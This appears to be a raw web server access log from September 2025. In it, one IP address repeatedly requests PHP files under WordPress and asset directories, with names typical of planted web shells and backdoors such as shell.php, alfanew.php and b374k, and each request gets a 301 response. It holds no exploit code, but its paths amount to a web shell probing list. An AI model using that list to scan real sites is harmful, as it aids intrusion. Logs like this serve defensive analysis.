196.251.80.56 - - [23/Sep/2025:13:54:29 -0400] "GET /wp-content/plugins/houzez-theme-functionality/extensions/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:29 -0400] "GET /.well-known/pki-validation/muahlhae.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:29 -0400] "GET /wp-admin/6dImxFueR1l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:42 -0400] "GET /wp-content/uploads/2023/06/theme-model.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:43 -0400] "GET /wp-admin/css/vsfbd/wp-head.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:49 -0400] "GET /wp-content/badicudcpz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/wp-config-sample123.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:53 -0400] "GET /wp-content/uploads/rtbfp60p.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:54:53 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:01 -0400] "GET /assets/flags/4x3/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:04 -0400] "GET /.well-known/pki-validation/Mhbgf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:04 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:09 -0400] "GET /wp-admin/includes/class-sprofil.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:16 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:29 -0400] "GET /wp-content/uploads/2023/03/alfanew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:29 -0400] "GET /wp-includes/block-supports/mijbxidm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:52 -0400] "GET /wp-content/auttqmkhez.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:52 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:54 -0400] "GET /wp-content/uploads/2018/11/dirs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:54 -0400] "GET /wp-content/uploads/bg_info.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:13 -0400] "GET /assets/img/team/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:16 -0400] "GET /wp-includes/revo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:19 -0400] "GET /wp-includes/agapuqlstf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:23 -0400] "GET /wp-includes/Requests/content-post.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:40 -0400] "GET /wp-includes/content.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:45 -0400] "GET /wp-content/plugins/plugins-setting/menu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:45 -0400] "GET /wp-includes/4price.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:48 -0400] "GET /wp-admin/1iSvna8VODr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:54 -0400] "GET /wp-admin/2jpJ9uiHfsT.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:59 -0400] "GET /images/headers/footer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:09 -0400] "GET /images/content/revslider/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:13 -0400] "GET /wp-includes/IXR/PHPmailer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:21 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:21 -0400] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:25 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:28 -0400] "GET /wp-admin/includes/aoumbsppwm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:34 -0400] "GET /wp-includes/css/dist/nux/wp-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:48 -0400] "GET /wp-includes/Text/Diff/Renderer/gwzdihysne.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:57 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:57 -0400] "GET /wp-content/uploads/booking_calendar/3so.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:57 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:18 -0400] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:27 -0400] "GET /wp-includes/customize/class-wp-customize-themes-section-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:33 -0400] "GET /wp-content/plugins/gecko-new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:33 -0400] "GET /.well-known/pki-validation/fzngwjgw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:33 -0400] "GET /wp-content/plugins/cyberseo/fx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:33 -0400] "GET /wp-includes//hbhbrdryld.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:38 -0400] "GET /wp-content//about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:38 -0400] "GET /wp-admin/images/.images.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:52 -0400] "GET /wp-includes/SimplePie/Captions.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:56 -0400] "GET /wp-includes//abouts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:00 -0400] "GET /wp-admin//2DyghckPfqX.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:43 -0400] "GET /wp-admin/qnykwcoxoz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:47 -0400] "GET /wp-admin/css/colors/hoaysdit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:54 -0400] "GET /images/css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:55:57 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:01 -0400] "GET /wp-includes/SimplePie/HTTP/wp-aespa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:05 -0400] "GET /wp-includes/TfDlQjb/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:08 -0400] "GET /wp-content/uploads/2015/03/debug.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:08 -0400] "GET /wp-admin/lfu7ebwYEan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:12 -0400] "GET /wp-content/uploads/leaflet-maps-marker-icons/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:13 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:13 -0400] "GET /wp-content/configDZM/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:13 -0400] "GET /wp-content/uploads/2014/03/fdgs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:19 -0400] "GET /.well-known/pki-validation/kpcfliye.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:26 -0400] "GET /images/items/727459_9b46b1wso2.5-1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:29 -0400] "GET /wp-admin/includes/11.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:35 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:40 -0400] "GET /.well-known/pki-validation/rdv-holi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:56:45 -0400] "GET /wp-content/uploads/2023/05/alfanew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:02 -0400] "GET /wp-includes/trio-kece.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:05 -0400] "GET /wp-content/plugins/indexs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:05 -0400] "GET /.well-known/acme-challenge/ystthhsw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:18 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:20 -0400] "GET /.well-known/pki-validation/bfmzusbs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:25 -0400] "GET /wp-content/uploads/estate_templates/plugin/new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:42 -0400] "GET /wp-includes/IXR/fofo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:52 -0400] "GET /wp-includes/GRIfhlM2aVe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:57 -0400] "GET /wp-content/uploads/booking_calendar/houdini1677900137.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:57:57 -0400] "GET /wp-content/geek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:07 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:13 -0400] "GET /wp-includes//class-https.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:23 -0400] "GET /wp-content/uploads/curriculos/123.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:23 -0400] "GET /wp-includes//class-wp-upgrade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:58:46 -0400] "GET /assets/js/chosen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:00 -0400] "GET /wp-content//index1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:19 -0400] "GET /wp-admin//5M3PZ1Nyvhx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:26 -0400] "GET /wp-includes//edit-posts.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:33 -0400] "GET /wp-content/uploads/hanna1337.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:33 -0400] "GET /assets/images/sahoifnq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:37 -0400] "GET /wp-includes//class-wp-block-type-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:47 -0400] "GET /css/assets/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:55 -0400] "GET /images//b3.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:00 -0400] "GET /wp-includes/ID3/module.audio-video.riff-alpha.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:05 -0400] "GET /wp-content/plugins/jkvgrnxfyj/cxlwfkxffk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:11 -0400] "GET /.well-known/acme-challenge/2Vu80QG.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:16 -0400] "GET /.well-known/inc/inc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:20 -0400] "GET /wp-includes/customize/class-wp-customize-date-time-control-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:23 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:28 -0400] "GET /wp-includes//template-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:39 -0400] "GET /wp-includes/widgets/class-wp-widget-tag-cloud-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:41 -0400] "GET /wp-includes//class-wp-post-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:49 -0400] "GET /wp-admin//2cF3XogWMPj.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:56 -0400] "GET /wp-includes/Requests/IDNAEncoder-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:00 -0400] "GET /wp-content/uploads/6caOMX9O/newsleter.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:00 -0400] "GET /assets/img/307.txt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:09 -0400] "GET /wp-content/uploads/wp-logout.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:17 -0400] "GET /wp-includes/style-engine/wp-hudbud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:26 -0400] "GET /css//gfuioifl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:30 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:40 -0400] "GET /wp-content/uploads/booking_calendar/key.php HTTP/1.1" 301 795 "-" "-"
18.170.53.175 - - [23/Sep/2025:14:01:45 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:14:01:46 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:01:48 -0400] "GET /css//class-wp-highlight.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:53 -0400] "GET /wp-includes/certificates/bundle.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:00 -0400] "GET /wp-content/uploads//wp-content/uploads/mc4wp-debug-log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:00 -0400] "GET /images//reg_form.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:12 -0400] "GET /wp-includes//programa_apoyo_editoriales.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:18 -0400] "GET /wp-includes//livelo-accrualsPoints.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:20 -0400] "GET /.well-known/acme-challenge/shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:25 -0400] "GET /wp-includes/theme-compat/phpmailer.lang-joomla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:06 -0400] "GET /wp-includes/block-supports/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:12 -0400] "GET /wp-includes//GRIfhlM2aVe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:16 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:26 -0400] "GET /wp-content//hello.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:26 -0400] "GET /wp-content/uploads/gecko-new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:40 -0400] "GET /wp-includes//class-wp-http-response-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:59:47 -0400] "GET /wp-content/404JBQ/about.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:05 -0400] "GET /assets//far.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:25 -0400] "GET /css//kontol.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:33 -0400] "GET /wp-content/plugins/aphjngp/ HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:33 -0400] "GET /wp-includes/block-patterns/query-small-posts-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:00:45 -0400] "GET /wp-includes/block-patterns/query-grid-posts-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:05 -0400] "GET /wp-includes//46829484.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:09 -0400] "GET /wp-content/uploads/xtracoool.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:09 -0400] "GET /images//css.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:13 -0400] "GET /wp-includes//class-snoopye_wso.php.bk HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:22 -0400] "GET /wp-includes//avndyzahpe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:26 -0400] "GET /wp-content/languages/pt_BR-68f2cec7514bf8563c723a4d675fcfe6.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:37 -0400] "GET /css//xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:40 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-"
206.189.247.132 - - [23/Sep/2025:14:01:45 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
193.239.84.56 - - [23/Sep/2025:14:01:45 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:14:01:48 -0400] "GET /wp-content/uploads/b374k-2.8.source.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:01:53 -0400] "GET /cgi-bin/test/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:06 -0400] "GET /wp-includes/theme-compat/5yde.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:17 -0400] "GET /wp-content/uploads/wpforms/cong.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:25 -0400] "GET /wp-content//cjong.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:47 -0400] "GET /wp-includes/theme-compat/system.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:52 -0400] "GET /.well-known//leaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:54 -0400] "GET /images/news/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:59 -0400] "GET /images//array_diff_uassoc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:06 -0400] "GET /images//tinyupload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:09 -0400] "GET /images//sfm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:13 -0400] "GET /wp-content/uploads/et_temp/66cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:23 -0400] "GET /images//sagafif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:27 -0400] "GET /wp-content/plugins/wp-pregoes/tab_licitacoes-old.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:27 -0400] "GET /wp-content//upfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:27 -0400] "GET /wp-includes/assets/script-loader-packages-blog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:32 -0400] "GET /.tmb//ninja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:56 -0400] "GET /wp-admin/maint/uni.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:05 -0400] "GET /images/slider/e-commerce.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:10 -0400] "GET /images//m.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:21 -0400] "GET /.well-known/pki-validation/wp-hudbud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:21 -0400] "GET /wp-includes/js/auto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:30 -0400] "GET /wp-includes/IXR/cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:34 -0400] "GET /.tmb//00.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:38 -0400] "GET /.tmb//file-jiamimi.php.bv9109.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:46 -0400] "GET /wp-content/uploads/import/csv1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:46 -0400] "GET /wp-includes/pomo/wp-y4y54.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:50 -0400] "GET /wp-includes/widgets/class-wp-widget-tags.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:55 -0400] "GET /images//align-leftermrnt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:00 -0400] "GET /images/downloads/mini.php5_.pdf HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:03 -0400] "GET /.well-known/pki-validation/owl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:12 -0400] "GET /css//css-admin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:19 -0400] "GET /wp-content//1index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:19 -0400] "GET /wp-content/uploads/2021/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:20 -0400] "GET /images//cloud.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:23 -0400] "GET /assets/lpmi/Composer.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:45 -0400] "GET /wp-includes/block-patterns/upfile.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:49 -0400] "GET /wp-includes//class-wp-network-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:05:54 -0400] "GET /wp-includes/block-patterns/social-links-shared-background-color-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:00 -0400] "GET /wp-includes/random_compat/byte_safe_strings-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:11 -0400] "GET /assets//rediraction.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:16 -0400] "GET /wp-includes//themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:25 -0400] "GET /wp-includes//class-wp-block-styles-registry-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:38 -0400] "GET /wp-admin//1AM9WGRSP4J.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:45 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:46 -0400] "GET /wp-admin/images/security-b.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:06:57 -0400] "GET /.well-known//01.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:02 -0400] "GET /wp-content/uploads/wp-atom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:02 -0400] "GET /images//12.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:07:07 -0400] "GET /wp-content//data-db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:28 -0400] "GET /assets/ventanas_director/apagado_est.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:32 -0400] "GET /assets/js/vaga.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:36 -0400] "GET /wp-includes/SimplePie/1script.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:02:40 -0400] "GET /wp-admin/images/abs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:13 -0400] "GET /wp-includes/theme-compat/newup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:17 -0400] "GET /images//articlesubmit.blade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:36 -0400] "GET /wp-admin/images/im/lufx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:47 -0400] "GET /images//sym404.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:03:53 -0400] "GET /images/gallery/tablepress_controllers.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:13 -0400] "GET /images//ob_get_flush.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:18 -0400] "GET /images//ms-add-pro-photo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:26 -0400] "GET /.well-known/acme-challenge/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:30 -0400] "GET /wp-content/plugins/seo-title-tag/upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:14:04:42 -0400] "GET /images//contacto.php HTTP/1.1" 301 795 "-" "-"
